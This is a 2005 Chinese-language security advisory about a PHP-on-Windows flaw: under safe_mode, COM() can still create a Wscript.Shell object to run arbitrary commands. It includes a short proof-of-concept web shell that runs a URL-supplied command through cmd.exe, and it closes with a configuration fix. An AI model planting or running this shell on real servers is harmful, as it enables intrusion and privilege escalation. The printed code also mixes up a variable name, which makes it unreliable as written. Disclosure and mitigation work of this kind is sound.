建立時間:2005-03-22
文章屬性:原創
發現日期:2005-02-10
受影響的系統:
Windows 下支援COM()函數的PHP版本
發現人:
Saiy:dawangs_at_etang.com
kEvin1986:Garnett1986_at_hotmail.com
我非我:wofeiwo_at_bugkidz.org
我非我:
描述:
Windows平台下的PHP腳本平台存在一個安全漏洞,使得PHP設定即使在安全模式下(safe_mode),仍舊允許攻擊者使用COM()函數來建立系統元件來執行任意指令.
漏洞出現的原因是由于在安全模式下的PHP平台雖然system();pathru()函數被禁止,但是com.allow_dcom的設定依舊是為true.以至于攻擊者可以使用COM()函數建立系統元件對象來運作系統指令.如果是預設的Apache設定或者Web伺服器以Loacalsystem權限或Administrators權限運作,攻擊者可以使用這個漏洞來提升權限.
測試程式:
-----------------------------------------------------------------
警 告
以下程式(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!
/*需要Windows Script Host 5.6支援*/
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$phpexec=$phpwsh->exec("cmd.exe /c $cmd");
$execoutput=$wshexec->stdout();
$result=$execoutput->readall();
echo $result;
?>
/*Windows Script Host 5.6以下版本支援*/
$phpwsh->run("cmd.exe /c $cmd > c://inetpub//wwwroot//result.txt");
将以上代碼儲存成*.php檔案之後可以在浏覽器中執行
<a href="http://www.target.com/simple.php?cmd=%5BCommand%5D">http://www.target.com/simple.php?cmd=[Command]</a>
---------------------------------------------------------------
更新檔:
目前PHP官方未回複發現者的信件且未釋出任何相關更新檔.
建議:
在設定安全模式之後,将 com.allow_dcom=true 設定為 com.allow_dcom=false即可.
感謝: